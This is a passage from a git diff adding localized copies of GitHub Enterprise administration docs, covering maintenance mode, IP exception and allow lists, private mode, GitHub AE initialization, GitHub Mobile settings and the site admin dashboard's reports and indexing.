+![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png)
+
+When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. In high availability configurations, Git replication will be paused. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page.
+
+![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png)
+
+{% ifversion ip-exception-list %}
+
+You can perform initial validation of your maintenance operation by configuring an IP exception list to allow access to {% data variables.location.product_location %} from only the IP addresses and ranges provided. Attempts to access {% data variables.location.product_location %} from IP addresses not specified on the IP exception list will receive a response consistent with those sent when the instance is in maintenance mode. 
+
+{% endif %}
+
+## Enabling maintenance mode immediately or scheduling a maintenance window for a later time
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**.
+  ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png)
+3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time.
+    - To enable maintenance mode immediately, use the drop-down menu and click **now**.
+    ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png)
+    - To schedule a maintenance window for a future time, use the drop-down menu and click a start time.
+    ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png)
+4. Select **Enable maintenance mode**.
+  ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% ifversion ip-exception-list %}
+
+## Validating changes in maintenance mode using the IP exception list
+
+The IP exception list provides controlled and restricted access to {% data variables.location.product_location %}, which is ideal for initial validation of server health following a maintenance operation. Once enabled, {% data variables.location.product_location %} will be taken out of maintenance mode and available only to the configured IP addresses. The maintenance mode checkbox will be updated to reflect the change in state.
+
+If you re-enable maintenance mode, the IP exception list will be disabled and {% data variables.location.product_location %} will return to maintenance mode. If you just disable the IP exception list, {% data variables.location.product_location %} will return to normal operation.
+
+You can also use a command-line utility to configure the IP exception list. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-maintenance)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+1. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**, and confirm maintenance mode is already enabled.
+  ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png)
+1. Select **Enable IP exception list**.
+ ![Checkbox for enabling ip exception list](/assets/images/enterprise/maintenance/enable-ip-exception-list.png)
+1. In the text box, type a valid list of space-separated IP addresses or CIDR blocks that should be allowed to access {% data variables.location.product_location %}.
+ ![completed field for IP addresses](/assets/images/enterprise/maintenance/ip-exception-list-ip-addresses.png)
+1. Click **Save**.
+![after IP excetpion list has saved](/assets/images/enterprise/maintenance/ip-exception-save.png)
+
+{% endif %}
+
+## Scheduling maintenance mode with the {% data variables.product.prodname_enterprise_api %}
+
+You can schedule maintenance for different times or dates with the {% data variables.product.prodname_enterprise_api %}. For more information, see "[Management Console](/enterprise/user/rest/reference/enterprise-admin#enable-or-disable-maintenance-mode)."
+
+## Enabling or disabling maintenance mode for all nodes in a cluster
+
+With the `ghe-cluster-maintenance` utility, you can set or unset maintenance mode for every node in a cluster.
+
+```shell
+$ ghe-cluster-maintenance -h
+# Shows options
+$ ghe-cluster-maintenance -q
+# Queries the current mode
+$ ghe-cluster-maintenance -s
+# Sets maintenance mode
+$ ghe-cluster-maintenance -u
+# Unsets maintenance mode
+```
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
new file mode 100644
index 0000000000..e0f3bb8c8f
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md
@@ -0,0 +1,35 @@
+---
+title: Enabling private mode
+intro: 'In private mode, {% data variables.product.prodname_ghe_server %} requires every user to sign in to access the installation.'
+redirect_from:
+  - /enterprise/admin/articles/private-mode
+  - /enterprise/admin/guides/installation/security
+  - /enterprise/admin/guides/installation/securing-your-instance
+  - /enterprise/admin/installation/enabling-private-mode
+  - /enterprise/admin/configuration/enabling-private-mode
+  - /admin/configuration/enabling-private-mode
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Access management
+  - Authentication
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+  - Privacy
+  - Security
+---
+You must enable private mode if {% data variables.location.product_location %} is publicly accessible over the Internet. In private mode, users cannot anonymously clone repositories over `git://`. If built-in authentication is also enabled, an administrator must invite new users to create an account on the instance. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)."
+
+{% data reusables.enterprise_installation.image-urls-viewable-warning %}
+
+With private mode enabled, you can allow unauthenticated Git operations (and anyone with network access to {% data variables.location.product_location %}) to read a public repository's code on your instance with anonymous Git read access enabled. For more information, see "[Allowing admins to enable anonymous Git read access to public repositories](/enterprise/admin/guides/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)."
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+4. Select **Private mode**.
+  ![Checkbox for enabling private mode](/assets/images/enterprise/management-console/private-mode-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/index.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/index.md
new file mode 100644
index 0000000000..45e8fff561
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/index.md
@@ -0,0 +1,50 @@
+---
+title: Konfigurieren deines Unternehmens
+intro: 'Nach der Einrichtung von {% data variables.product.product_name %} kannst du dein Unternehmen so konfigurieren, dass es den Bedürfnissen deiner Organisation entspricht.'
+redirect_from:
+  - /enterprise/admin/guides/installation/basic-configuration
+  - /enterprise/admin/guides/installation/administrative-tools
+  - /enterprise/admin/articles/restricting-ssh-access-to-specific-hosts
+  - /enterprise/admin/guides/installation/configuring-the-github-enterprise-appliance
+  - /enterprise/admin/installation/configuring-the-github-enterprise-server-appliance
+  - /enterprise/admin/configuration/configuring-your-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /about-enterprise-configuration
+  - /deploying-github-ae
+  - /initializing-github-ae
+  - /accessing-the-management-console
+  - /accessing-the-administrative-shell-ssh
+  - /enabling-and-scheduling-maintenance-mode
+  - /configuring-backups-on-your-appliance
+  - /site-admin-dashboard
+  - /enabling-private-mode
+  - /managing-github-mobile-for-your-enterprise
+  - /configuring-ssh-connections-to-your-instance
+  - /configuring-email-for-notifications
+  - /verifying-or-approving-a-domain-for-your-enterprise
+  - /configuring-rate-limits
+  - /configuring-applications
+  - /troubleshooting-tls-errors
+  - /configuring-time-synchronization
+  - /command-line-utilities
+  - /restricting-network-traffic-to-your-enterprise
+  - /configuring-github-pages-for-your-enterprise
+  - /configuring-host-keys-for-your-instance
+  - /configuring-the-referrer-policy-for-your-enterprise
+  - /configuring-custom-footers
+  - /configuring-web-commit-signing
+shortTitle: Configure your enterprise
+ms.openlocfilehash: 3cc7deccfdf71a0e339fca8055f0cd4b5027a32c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147409236'
+---
+
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md
new file mode 100644
index 0000000000..e4f70c36cb
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md
@@ -0,0 +1,130 @@
+---
+title: Initializing GitHub AE
+intro: 'To get your enterprise ready to use, you can complete the initial configuration of {% data variables.product.product_name %}.'
+versions:
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+redirect_from:
+  - /admin/configuration/initializing-github-ae
+  - /enterprise-server@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae
+---
+## About initialization
+
+Before you can initialize your enterprise, you must purchase {% data variables.product.product_name %}. For more information, contact {% data variables.contact.contact_enterprise_sales %}.
+
+{% data reusables.github-ae.initialize-enterprise %} Make sure the information you provide matches the intended enterprise owner's information in the IdP. For more information about enterprise owners, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)."
+
+{% note %}
+
+**Notes**:
+
+- If the initial password for {% data variables.product.prodname_ghe_managed %} expires before you finish initialization, you can request a password reset at any time from your invitation email.
+
+- Store the initial username and password for {% data variables.product.prodname_ghe_managed %} securely in a password manager. {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+
+{% endnote %}
+
+During initialization, the enterprise owner will name your enterprise, configure SAML SSO, create policies for all organizations in your enterprise, and configure a support contact for your users.
+
+## Prerequisites
+
+To begin initialization, you will receive an invitation email from {% data variables.product.company_short %}. Before you configure {% data variables.product.prodname_ghe_managed %}, review the following prerequisites.
+
+
+To initialize {% data variables.location.product_location %}, you must have a SAML identity provider (IdP). {% data reusables.saml.ae-uses-saml-sso %} To connect your IdP to your enterprise during initialization, you should have your IdP's Entity ID (SSO) URL, Issuer ID URL, and public signing certificate (Base64-encoded). For more information, see "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)."
+
+{% note %}
+
+**Note**: {% data reusables.saml.create-a-machine-user %}
+
+{% endnote %}
+
+## Signing in and naming your enterprise
+
+1. Follow the instructions in your welcome email to reach your enterprise.
+2. Type your credentials under "Change password", then click **Change password**.
+3. Under "What would you like your enterprise account to be named?", type the enterprise's name, then click **Save and continue**.
+  !["Save and continue" button for naming an enterprise](/assets/images/enterprise/configuration/ae-enterprise-configuration.png)
+
+## Connecting your IdP to your enterprise
+
+To configure authentication for {% data variables.product.product_name %}, you must provide {% data variables.product.product_name %} with the details for your SAML IdP. {% data variables.product.company_short %} recommends using Azure AD as your IdP. For more information, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)."
+
+1. To the right of "Set up your identity provider", click **Configure**.
+  !["Configure" button for IdP configuration](/assets/images/enterprise/configuration/ae-idp-configure.png)
+1. Under "Sign on URL", copy and paste the URL for your SAML IdP.
+  ![Text field for SAML IdP's sign-on URL](/assets/images/enterprise/configuration/ae-idp-sign-on-url.png)
+1. Under "Issuer", copy and paste the issuer URL for your SAML IdP.
+  ![Text field for SAML IdP's issuer URL](/assets/images/enterprise/configuration/ae-idp-issuer-url.png)
+1. Under "Public certificate", copy and paste the public certificate for your SAML IdP.
+  ![Text field for SAML IdP's public certificate](/assets/images/enterprise/configuration/ae-idp-public-certificate.png)
+1. Click **Test SAML configuration** to ensure that the information you've entered is correct.
+  !["Test SAML configuration" button](/assets/images/enterprise/configuration/ae-test-saml-configuration.png)
+1. Click **Save**.
+  !["Save" button for IdP configuration](/assets/images/enterprise/configuration/ae-save.png)
+1. {% data reusables.saml.assert-the-administrator-attribute %}
+
+## Setting your enterprise policies
+
+Configuring policies will set limitations for repository and organization management for your enterprise. These can be reconfigured after the initialization process.
+
+1. To the right of "Set your enterprise policies", click **Configure**.
+  !["Configure" button for policies configuration](/assets/images/enterprise/configuration/ae-policies-configure.png)
+2. Under "Default Repository Permissions", use the drop-down menu and click a default permissions level for repositories in your enterprise. If a person has multiple avenues of access to an organization, either individually, through a team, or as an organization member, the highest permission level overrides any lower permission levels. Optionally, to allow organizations within your enterprise to set their default repository permissions, click **No policy**
+  ![Drop-down menu for default repository permissions options](/assets/images/enterprise/configuration/ae-repository-permissions-menu.png)
+3. Under "Repository creation", choose whether you want to allow members to create repositories. Optionally, to allow organizations within your enterprise to set permissions, click **No policy**.
+  !["Members can create repositories" button for enterprise policies configuration](/assets/images/enterprise/configuration/ae-repository-creation-permissions.png)
+4. Under "Repository forking", choose whether to allow forking of private and internal repositories. Optionally, to allow organizations within your enterprise to set permissions, click **No policy**
+  ![Drop-down menu for repository forking permissions options](/assets/images/enterprise/configuration/ae-repository-forking-menu.png)
+5. Under "Repository invitations", choose whether members or organization owners can invite collaborators to repositories. Optionally, to allow organizations within your enterprise to set permissions, click **No policy**
+  ![Drop-down menu for repository invitation permissions options](/assets/images/enterprise/configuration/ae-repository-invitations-menu.png)
+6. Under "Default repository visibility", use the drop-down menu and click the default visibility setting for new repositories.
+  ![Drop-down menu for default repository visibility options](/assets/images/enterprise/configuration/ae-repository-visibility-menu.png)
+7. Under "Users can create organizations", use the drop-down menu to enable or disable organization creation access for members of the enterprise.
+  ![Drop-down menu for organization creation permissions options](/assets/images/enterprise/configuration/ae-organization-creation-permissions-menu.png)
+8. Under "Force pushes", use the drop-down menu and choose whether to allow or block force pushes.
+  ![Drop-down menu for force pushes configuration options](/assets/images/enterprise/configuration/ae-force-pushes-configuration-menu.png)
+9. Under "Git SSH access", use the drop-down menu and choose whether to enable Git SSH access for all repositories in the enterprise.
+  ![Drop-down menu for Git SSH access options](/assets/images/enterprise/configuration/ae-git-ssh-access-menu.png)
+10. Click **Save**
+  !["Save" button for enterprise policies configuration](/assets/images/enterprise/configuration/ae-save.png)
+11. Optionally, to reset all selections, click "Reset to default policies".
+  ![Link to reset all default policies](/assets/images/enterprise/configuration/ae-reset-default-options.png)
+
+## Setting your internal support contact
+
+You can configure the method your users will use to contact your internal support team. This can be reconfigured after the initialization process.
+
+1. To the right of "Internal support contact", click **Configure**.
+  !["Configure" button for internal support contact configuration](/assets/images/enterprise/configuration/ae-support-configure.png)
+2. Under "Internal support contact", select the method for users of your enterprise to contact support, through a URL or an e-mail address. Then, type the support contact information.
+  ![Text field for internal support contact URL](/assets/images/enterprise/configuration/ae-support-link-url.png)
+3. Click **Save**.
+  !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png)
+
+## Setting your email settings
+
+Once this is initialized, you can reconfigure any settings after the initialization process. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-email-for-notifications)."
+
+1. To the right of "Configure email settings", click **Configure**.
+  !["Configure" button for email settings configuration](/assets/images/enterprise/configuration/ae-email-configure.png)
+2. Select **Enable email**. This will enable both outbound and inbound email, however, for inbound email to work you will also need to configure your DNS settings. For more information, see "[Configuring DNS and firewall
+ settings to allow incoming emails](/admin/configuration/configuring-email-for-notifications#configuring-dns-and-firewall-settings-to-allow-incoming-emails)."
+  !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png)
+3. Complete your email server settings:
+    - In the **Server address** field, type the address of your SMTP server.
+    - In the **Port** field, type the port that your SMTP server uses to send email.
+    - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any.
+    - In the **Authentication** dropdown, choose the type of encryption used by your SMTP server.
+    - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails.
+
+4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**.
+  !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png)
+5. Click **Test email settings**.
+  !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png)
+6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**.
+  !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png)
+7. Click **Save**.
+  !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png)
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
new file mode 100644
index 0000000000..d288949214
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md
@@ -0,0 +1,40 @@
+---
+title: Managing GitHub Mobile for your enterprise
+intro: 'You can decide whether people can use {% data variables.product.prodname_mobile %} to connect to {% data variables.location.product_location %}.'
+permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for a {% data variables.product.product_name %} instance.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Mobile
+redirect_from:
+  - /admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise
+  - /admin/configuration/managing-github-for-mobile-for-your-enterprise
+shortTitle: Manage GitHub Mobile
+---
+
+## About {% data variables.product.prodname_mobile %}
+
+{% data variables.product.prodname_mobile %} allows people to triage, collaborate, and manage work on {% data variables.location.product_location %} from a mobile device after successful authentication. {% data reusables.mobile.about-mobile %} For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."
+
+You can allow or disallow people from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.location.product_location %} and access your instance's data. By default, {% data variables.product.prodname_mobile %} is{% ifversion ghes > 3.3 %} enabled for people who use {% data variables.location.product_location %}.{% else %} not enabled for people who use {% data variables.location.product_location %}. To allow connection to your instance with {% data variables.product.prodname_mobile %}, you must enable the feature for your instance.{% endif %}
+
+{% ifversion ghes < 3.6 %}
+{% note %}
+
+**Note:** If you upgrade to {% data variables.product.prodname_ghe_server %} 3.4.0 or later and have not previously disabled or enabled {% data variables.product.prodname_mobile %}, {% data variables.product.prodname_mobile %} will be enabled by default. If you previously disabled or enabled {% data variables.product.prodname_mobile %} for your instance, your preference will be preserved upon upgrade. For more information about upgrading your instance, see "[Upgrading {% data variables.product.product_name %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+
+{% endnote %}
+{% endif %}
+
+## Enabling or disabling {% data variables.product.prodname_mobile %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.type-management-console-password %}
+1. In the left sidebar, click **Mobile**.
+  !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png)
+1. Under "GitHub Mobile", select or deselect **Enable GitHub Mobile Apps**.
+  ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png)
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
new file mode 100644
index 0000000000..bfdd817cca
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md
@@ -0,0 +1,92 @@
+---
+title: Restricting network traffic to your enterprise
+shortTitle: Restricting network traffic
+intro: You can use an IP allow list to restrict access to your enterprise to connections from specified IP addresses.
+versions:
+  ghae: '*'
+type: how_to
+topics:
+  - Access management
+  - Enterprise
+  - Fundamentals
+  - Networking
+  - Security
+redirect_from:
+  - /admin/configuration/restricting-network-traffic-to-your-enterprise
+---
+## About IP allow lists
+
+By default, authorized users can access your enterprise from any IP address. Enterprise owners can restrict access to assets owned by organizations in an enterprise account by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-enable %} {% data reusables.identity-and-permissions.ip-allow-lists-enterprise %} 
+
+You can also configure allowed IP addresses for an individual organization. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+
+By default, Azure network security group (NSG) rules leave all inbound traffic open on ports 22, 80, 443, and 25. Enterprise owners can contact {% data variables.contact.github_support %} to configure access restrictions for your instance.
+
+For instance-level restrictions using Azure NSGs, contact {% data variables.contact.github_support %} with the IP addresses that should be allowed to access your enterprise instance. Specify address ranges using the standard CIDR (Classless Inter-Domain Routing) format. {% data variables.contact.github_support %} will configure the appropriate firewall rules for your enterprise to restrict network access over HTTP, SSH, HTTPS, and SMTP. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
+
+## Adding an allowed IP address
+
+{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
+{% data reusables.identity-and-permissions.check-ip-address %}
+
+## Allowing access by {% data variables.product.prodname_github_apps %}
+
+{% data reusables.identity-and-permissions.ip-allow-lists-githubapps-enterprise %}
+
+## Enabling allowed IP addresses
+
+{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Under "IP allow list", select **Enable IP allow list**.
+  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-enterprise-checkbox.png)
+4. Click **Save**.
+
+## Editing an allowed IP address
+
+{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
+8. Click **Update**.
+{% data reusables.identity-and-permissions.check-ip-address %}
+
+{% ifversion ip-allow-list-address-check %}
+## Checking if an IP address is permitted
+
+{% data reusables.identity-and-permissions.about-checking-ip-address %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.check-ip-address-step %}
+{% endif %}
+
+## Deleting an allowed IP address
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
+{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
+
+## Using {% data variables.product.prodname_actions %} with an IP allow list
+
+{% data reusables.actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md
new file mode 100644
index 0000000000..7d3c7e3665
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md
@@ -0,0 +1,249 @@
+---
+title: Site admin dashboard
+intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}'
+redirect_from:
+  - /enterprise/admin/articles/site-admin-dashboard
+  - /enterprise/admin/installation/site-admin-dashboard
+  - /enterprise/admin/configuration/site-admin-dashboard
+  - /admin/configuration/site-admin-dashboard
+versions:
+  ghes: '*'
+  ghae: '*'
+type: reference
+topics:
+  - Enterprise
+  - Fundamentals
+---
+To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}.
+![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+
+{% ifversion ghes or ghae %}
+
+## Search
+
+Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log).
+
+{% else %}
+
+## License info & search
+
+Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log).
+
+{% endif %}
+{% ifversion ghes %}
+## {% data variables.enterprise.management_console %}
+
+Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL.
+{% endif %}
+## Explore
+
+Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section.
+
+  [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github
+
+## Audit log
+
+{% data variables.product.product_name %} keeps a running log of audited actions that you can query.
+
+By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)."
+
+For more information on audit logging in general, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)." For a full list of audited actions, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
+
+## Reports
+
+If you need to get information on the users, organizations, and repositories in {% data variables.location.product_location %}, you would ordinarily fetch JSON data through the [GitHub API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories.
+
+Specifically, you can download CSV reports that list
+
+- all users
+- all active users
+- all [dormant users](/admin/user-management/managing-dormant-users)
+- all users who have been suspended
+- all organizations
+- all repositories
+
+You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a {% data variables.product.pat_v1 %} with the `site_admin` scope. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+For example, here is how you would download the "all users" report using cURL:
+
+```shell
+curl -L -u USERNAME:TOKEN http(s)://HOSTNAME/stafftools/reports/all_users.csv
+```
+
+To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`.
+
+{% note %}
+
+**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password.
+
+{% endnote %}
+
+### User reports
+
+Key               | Description
+-----------------:| ------------------------------------------------------------
+`created_at`      | When the user account was created (as an ISO 8601 timestamp)
+`id`              | Account ID for the user or organization
+`login`           | Account's login name
+`email`           | Account's primary email address
+`role`            | Whether the account is an admin or an ordinary user
+`suspended?`      | Whether the account has been suspended
+`last_logged_ip`  | Most recent IP address to log into the account
+`repos`           | Number of repositories owned by the account
+`ssh_keys`        | Number of SSH keys registered to the account
+`org_memberships` | Number of organizations to which the account belongs
+`dormant?`        | Whether the account is dormant
+`last_active`     | When the account was last active (as an ISO 8601 timestamp)
+`raw_login`       | Raw login information (in JSON format)
+`2fa_enabled?`    | Whether the user has enabled two-factor authentication
+
+### Organization reports
+
+Key            | Description
+--------------:| ------------------------------------
+`id`           | Organization ID
+`created_at`   | When the organization was created
+`login`        | Organization's login name
+`email`        | Organization's primary email address
+`owners`       | Number of organization owners
+`members`      | Number of organization members
+`teams`        | Number of organization teams
+`repos`        | Number of organization repositories
+`2fa_required?`| Whether the organization requires two-factor authentication
+
+### Repository reports
+
+Key             | Description
+---------------:| ------------------------------------------------------------
+`created_at`    | When the repository was created
+`owner_id`      | ID of the repository's owner
+`owner_type`    | Whether the repository is owned by a user or an organization
+`owner_name`    | Name of the repository's owner
+`id`            | Repository ID
+`name`          | Repository name
+`visibility`    | Whether the repository is public or private
+`readable_size` | Repository's size in a human-readable format
+`raw_size`      | Repository's size as a number
+`collaborators` | Number of repository collaborators
+`fork?`         | Whether the repository is a fork
+`deleted?`      | Whether the repository has been deleted
+
+{% ifversion ghes %}
+## Indexing
+
+GitHub's search features are powered by Elasticsearch. This section of the site admin dashboard shows you the current status of your Elasticsearch cluster and provides you with several tools to control search and index behavior.
+
+For more information about code search, see "[Searching for information on {% data variables.product.prodname_dotcom %}](/search-github)." For more information about Elasticsearch, see the [Elasticsearch website](https://elastic.co).
+
+{% note %}
+
+**Note**: In normal use, site administrators do not need to create new indices or schedule repair jobs. For troubleshooting or other support purposes, {% data variables.contact.github_support %} may instruct you to run a repair job.
+
+{% endnote %}
+
+### Index management
+
+{% data variables.product.product_name %} reconciles the state of the search index with data on the instance automatically and regularly.
+
+- Issues, pull requests, repositories, and users in the database
+- Git repositories (source code) on disk
+
+Your instance uses repair jobs to reconcile the data, and schedules a repair job in the background when the following events occur.
+
+- A new search index is created.
+- Missing data needs to be backfilled.
+- Old search data needs to be updated.
+
+You can create a new index, or you can click on an existing index in the list to manage the index. You can perform the following operations on an index.
+
+- Make the index searchable.
+- Make the index writable.
+- Update the index.
+- Delete the index
+- Reset the index repair state.
+- Start a new index repair job.
+- Enable or disable index repair jobs.
+
